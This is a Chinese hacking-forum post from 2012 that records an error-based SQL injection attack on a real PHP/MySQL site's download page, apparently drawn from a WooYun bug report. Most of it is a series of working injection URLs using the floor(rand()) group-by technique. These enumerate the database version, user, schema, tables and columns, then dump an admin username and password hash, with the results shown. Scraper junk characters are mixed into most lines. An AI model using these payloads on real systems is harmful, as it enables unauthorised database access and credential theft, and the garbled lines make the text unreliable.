中国网络渗透测试联盟

标题: php+mysql高级爆错注入经测算有效 [打印本页]
作者: admin    时间: 2012-9-13 17:52
标题: php+mysql高级爆错注入经测算有效
http://www.wooyun.org/bugs/wooyun-2010-01666
/ P2 F6 U# M- T
- \) x  S2 v& h& g之前想找个测试 没想到这有 可以测试下做个记录而已 + c8 B2 k- P, j' i9 i- J% {' ^) Z
9 v* [: f/ m; d. @6 b1 R2 m6 ^
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_0030 d" o' E- U/ S4 a  k5 k
  T. Y& W! U4 ~! t8 B; N' T# _
/data0/htdocs/leqi_new/app/myapp.php
% r( ~' B6 W5 i* o( \; V7 m3 ?1 R# L9 m7 f+ B6 q$ F4 T
或者4 y' z: A# W) v* H
% U- n0 f5 }" L$ d  w8 U! u
/**********version()**********/ 5.1.49-log7 k. K. k8 b* f! p4 p; Q3 g3 k7 z
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0037 a0 v6 O% y  R4 g
  k4 f$ n: y5 H
/**********user()**********/  
5 z/ A/ s5 g  L& {http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0030 ~' A. x2 J& y& h) V+ U& j
( i  u  q2 I5 O. @
/**********database()**********/  leqi4 y  _& z* c/ s% D; U; C0 e$ }; R
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
: b( M) Y/ [! E& c0 T6 ?9 X
% P8 W. [! d+ l" p% s% D/**********limit依次递归爆库**********/
7 U1 x5 t; O8 O9 ?  o' yhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0037 s! V! s3 B3 ?/ H: A0 q# ?: C
information_schema0 \# Q1 r8 q" c# Y! t2 F! {, g
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
, w3 J6 S1 F$ f3 E" U) D" ?leqi; x& Z" \8 `! Z' [4 ]6 Y( l
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
1 |9 x5 l3 g4 Wtest
6 i* w0 X, l# s& N
/ I- m( Y2 S$ q, F; y2 s0 @/**********limit依次递归爆表名**********/! P# d- f/ s" D6 |
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0037 F- h) L2 b/ R
users
" H( K% K2 r) C* u6 Z
8 k4 }8 B. T; s/**********limit依次递归爆字段名**********/
; A! m1 f1 ~! `' D$ s: f. Khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
6 z) F- H$ V/ c1 _6 A1 g: I3 ~1 muser_id,username,nickname,passwd,group_id
+ X" ~( B9 J' t* N1 Q. q# o. ?3 Khttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23* J! [6 l: v* y+ W
/wapc/5000_0005_003/ Z+ y- }, L3 e. Y
11 21
8 Y7 _+ c" m+ K! Y7 }$ J- Rhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23* L/ [, Z! _  {1 {3 f( i) U
/wapc/5000_0005_003
5 K/ T. U1 ~! y$ Q  I+ J6 L+ P11 341 351 361
( H1 g* ^+ k* i) J7 b/**********爆数据**********/! @( z0 z- b8 q0 m
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
$ Z  E  h* F, p  v* j1 q* w: Fadmin
1 q( G6 U: y- U# w, P7 l4 I, Chttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
0 h7 @6 y/ P( C; V- q6a8b4574ca231eb8bd52764d4978ffcd
  r' p" k/ J9 j7 M7 H, X" j4 r1 n% q+ Y; g) v9 D1 G: w$ U  _/ }
- |8 x1 `" G: `. ~; X




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2